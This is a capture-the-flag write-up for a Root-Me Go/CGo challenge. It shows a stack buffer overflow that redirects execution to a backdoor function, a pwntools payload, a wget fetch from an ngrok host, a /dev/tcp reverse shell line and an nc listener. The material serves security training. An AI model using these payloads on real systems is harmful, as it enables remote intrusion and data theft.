← BACK

Day 07 - Go, Pwn, Gown

< Go back

Description

I love golang because it's safe. But this… This scares me. I mean, comments should be comments… But sneak code is always enjoyable, isn't it?

Author : Laluka https://deploy.xmas.root-me.org/

curl "http://host/areyou" # OK Annie?!
curl "http://host/?gown=please" # curl: (52) Empty reply from server
file docker-gown.bin
# docker-gown.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, ...

all files in resources/ were provided.

Challenge

Reconnaisance

Looking at the app we are given, there's a flag file hidden in /flag. We have a golang code that has CGo inside.

That C code has a buffer overflow:

void unsafeFunction(char *gown) {
    char buffer[64];
    memcpy(buffer, gown, 128); // UTF8 AMIRIGHT ?!
    printf("Received: %s\n", buffer);
}

The buffer array is passed 128 bytes in it's 64 slots, we can exploit this to overwrite the return address of unsafeFunction and get into laluBackdoor:

void laluBackdoor() {
    char *bash_path = "/bin/bash";
    extern char **environ;
    execle(bash_path, bash_path, "-c", "echo $(${GOWN})", NULL, environ);
}

laluBackdoor let's us run anything stored inside $GOWN. Which is the value passed as a parameter to the code:

gown := r.URL.Query().Get("gown")
// ...
cGown := C.CString(gown)
if i := strings.IndexByte(gown, '\x00'); i != -1 {
  gown = gown[:i]
}
os.Setenv("GOWN", string(gown))
// ...
defer C.free(unsafe.Pointer(cGown))
C.unsafeFunction(cGown)

The actual data given to $GOWN is cut at a null byte, though the trailing data which is our payload is still present in memory.

Building the payload

Our payload requires 64 bytes of padding to fill the buffer array in unsafeFunction, then it needs 8 bytes of extra padding to pad over %rbp and finally we can write our 8 bytes of return address to laluBackdoor:

[ 'A' * (64 + 8) bytes ][ laluBackdoor address ]

Let's first identify the address of laluBackdoor, build the project using docker-compose up -d and let's get into the container:

docker ps
docker exec -it <container_id> /bin/bash
$ nm /app/gown | grep laluBackdoor
# 61eb91 T laluBackdoor

Perfect, now instead of a simple 'A' padding, let's think of a payload we can use to exfiltrate the flag. Most command output will be lost as the server doesn't reply them. The most direct option is to revshell the flag.

Exploiting

I'm using ngrok, and the URL itself is pretty long and goes over our 'A' * (64 + 8 - 1) padding (remember that we need 1 byte for the null byte at the end)

So instead of opting for a one-liner rev shell command, let's upload our revshell and then run it. We can use curl to upload the file and then run it.

Let's write a short name file (o):

sh -i 5<> /dev/tcp/<REV_IP>/3005 0<&5 1>&5 2>&5

Then serve it using a simple python server python -m http.server 8080 and ngrok ngrok http 8080.

Now we can build our first payload, let's use the pwntools library in python:

payload = b"wget https://5637-163-5-23-73.ngrok-free.app/o\x00"
payload = payload + b"A" * (64 - len(payload)) + b"B" * 8 + p64(0x61eb91)
payload = quote_plus(payload).encode()
request = b'GET /?gown=' + payload + b' HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n'

Once the payload is sent we just have to switch the main second bash payload and start our listener using nc -lvp 3005.

payload = b"/bin/bash o\x00"

When connected, navigate to /flag and get the flag!